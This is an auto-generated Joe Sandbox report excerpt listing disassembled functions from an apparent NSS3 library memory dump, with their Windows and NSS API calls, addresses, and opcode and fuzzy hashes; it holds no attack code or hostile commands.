Part of subcall function 6CE79520: PK11_IsLoggedIn.NSS3(00000000,?,6CEA379E,?,00000001,?), ref: 6CE79542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE8EF53

Part of subcall function 6CE94C20: TlsGetValue.KERNEL32 ref: 6CE94C4C
Part of subcall function 6CE94C20: EnterCriticalSection.KERNEL32(?), ref: 6CE94C60
Part of subcall function 6CE94C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CA1
Part of subcall function 6CE94C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE94CBE
Part of subcall function 6CE94C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CD2
Part of subcall function 6CE94C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D3A

PR_GetCurrentThread.NSS3 ref: 6CE8EF9E

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

free.MOZGLUE(00000000), ref: 6CE8EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE8F016
free.MOZGLUE(00000000), ref: 6CE8F022

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 184a5a1e6c579485c237b43e21ce02186d7a43169fc72258911b7636cf4fb23e
Instruction ID: 857dfe920c5941a56e1e768968783f50102e164371194086a1e8b7c32e73cd1b
Opcode Fuzzy Hash: 184a5a1e6c579485c237b43e21ce02186d7a43169fc72258911b7636cf4fb23e
Instruction Fuzzy Hash: 644171B1E01109AFDF018FE9DC45BEE7AB9AF48358F244029F918A7350E775C9158BA1

Function 6CE7CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE7CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE7D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE7D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7D025
PR_NewLock.NSS3 ref: 6CE7D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE7D074

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 78f1d524bf522f648fe115a762e93f76dad3239562ddd7d5ad13264882ffea6a
Instruction ID: 37f52dd3845ad234a48a708af266c1fb97d7d264b86586f2623a5323e28cfe41
Opcode Fuzzy Hash: 78f1d524bf522f648fe115a762e93f76dad3239562ddd7d5ad13264882ffea6a
Instruction Fuzzy Hash: E5419FB4A012118FEB20DF29D88479A7BF5EF08328F31516ADC198BB46D774D985CBB1

Function 6CEC3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC3FF2

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEC400F

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEC4054

Part of subcall function 6CE5BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE5BC24
Part of subcall function 6CE5BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BC39
Part of subcall function 6CE5BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE5BC58
Part of subcall function 6CE5BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE5BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEC40CD

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 7c5012b15a47fe70b4c13eac9ad5a6a3a17f15f4907e11f7df211a26b64060f4
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7031C7B2F4034197EB009F649E42BBA3374AF9161CF244229ED199B742F771E95982A3

Function 6CE62E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE52D1A), ref: 6CE62E7E

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

PR_Now.NSS3 ref: 6CE62EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE62EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE52D1A), ref: 6CE62F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE52D1A), ref: 6CE62F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE62F81

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: b69c8bfcdd02fdc54e466797a980007dfabd98e84f1aa75f5d23beef3455b196
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: AC3145709611008BE710C667CC4ABAEB275EFB135CF74497AC429B7ED1EB31988AC752

Function 6CE50E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE50A2C), ref: 6CE50E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE50A2C), ref: 6CE50E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE50A2C), ref: 6CE50E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE50A2C), ref: 6CE50E90
free.MOZGLUE(00000000), ref: 6CE50EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE50A2C), ref: 6CE50ED9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5b072e638485e47dd44624ee74d72043ff9ba0ce4a8eabb828ce5122c9f59f02
Instruction ID: a57bdbea1866140d4916067497bab74cc8800e025d8a097f71423ef34042b024
Opcode Fuzzy Hash: 5b072e638485e47dd44624ee74d72043ff9ba0ce4a8eabb828ce5122c9f59f02
Instruction Fuzzy Hash: 2F210C73B002845BEF1045655C45B6B72BA9B8275CFB94439F81967B02EE62D8358291

Function 6CE5AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE5AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE5AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF79500), ref: 6CE5AF23

Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEAF0C8
Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5AF37

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 19cf52c9c54f56a16979193d47e0860bfa69738328050ed434e8ce3ab8885447
Instruction ID: 35673047e8f6f1ba935dba3cf621f0813f3663ed480ab5268596c68a78d09ec8
Opcode Fuzzy Hash: 19cf52c9c54f56a16979193d47e0860bfa69738328050ed434e8ce3ab8885447
Instruction Fuzzy Hash: C62106B1949200AAE7108F189C42BAA7BB4AF8572CF744319E854AB780E733D55587B2

Function 6CEDEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDEE85
realloc.MOZGLUE(D45EFBF9,?), ref: 6CEDEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CEDEEC5

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

htonl.WSOCK32(?), ref: 6CEDEEE3
htonl.WSOCK32(00000000,?), ref: 6CEDEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CEDEF01

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 02c066b0709aa762b49ce605212f33dd192c13e04e43da1716ce9c8abc8a4a28
Instruction ID: f305e5edec5d92b95f1f57ac8982be8544f23514be88c48da56cd83260970825
Opcode Fuzzy Hash: 02c066b0709aa762b49ce605212f33dd192c13e04e43da1716ce9c8abc8a4a28
Instruction Fuzzy Hash: 1221AD72A006159BDB109F28DC84B9AB7B4EF49358F268169EC199B741E730F815CBE2

Function 6CE8EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE8EE49

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE8EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CE8EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CE8EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE8EEB3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 4c5f9e7aa4d8fef81c3b1131b96f0eb6b001d2012803ddc527ed808719ac824d
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: AF21F3BAA016116BEB118B58DC81EAB73B8EF4570CF244168FD089B701E671EC14C7F1

Function 6CE57F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE57F68

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE57F7B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE57FA7

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF7919C,?), ref: 6CE57FBB

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE57FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF7915C,00000014), ref: 6CE57FFE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 9670ea59ec3b87ebaab8ae07636e8edc081081de7fb05a106cd531f3d2fadb40
Instruction ID: ef8cfca95c565408f76f5bc28c5e16a13b31e38889bb9cb5d636767030de4072
Opcode Fuzzy Hash: 9670ea59ec3b87ebaab8ae07636e8edc081081de7fb05a106cd531f3d2fadb40
Instruction Fuzzy Hash: DB1154B1D142049AE610DA25AD42BBB72BCDF4465CF60462DEC59D6B81FB22E928C2B1

Function 6CE5BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CEDDC29,?), ref: 6CE5BE64

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CEDDC29,?), ref: 6CE5BE78

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CEDDC29,?), ref: 6CE5BE96

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CEDDC29,?), ref: 6CE5BEBB

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CEDDC29,?), ref: 6CE5BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CEDDC29,?), ref: 6CE5BEF3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 3ce92e95cd65093a15646b5e7fdec58ae3e53d1544939b8e8f48c0915fc7609a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: FC11A571F002095BEB008B659D46FBA37B8EB4125CF78002CED08EB780EB32D919C7A1

Function 6CEE3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE3D3F

Part of subcall function 6CE5BA90: PORT_NewArena_Util.NSS3(00000800,6CEE3CAF,?), ref: 6CE5BABF
Part of subcall function 6CE5BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CEE3CAF,?), ref: 6CE5BAD5
Part of subcall function 6CE5BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CEE3CAF,?), ref: 6CE5BB08
Part of subcall function 6CE5BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CEE3CAF,?), ref: 6CE5BB1A
Part of subcall function 6CE5BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CEE3CAF,?), ref: 6CE5BB3B

PR_EnterMonitor.NSS3(?), ref: 6CEE3CCB

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

PR_EnterMonitor.NSS3(?), ref: 6CEE3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE3CF8
PR_ExitMonitor.NSS3(?), ref: 6CEE3D15
PR_ExitMonitor.NSS3(?), ref: 6CEE3D2E

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 9fa31dc946a5bf17c10a561775f86bc32ca3edec02b5c9513d3d6376fcd21a05
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
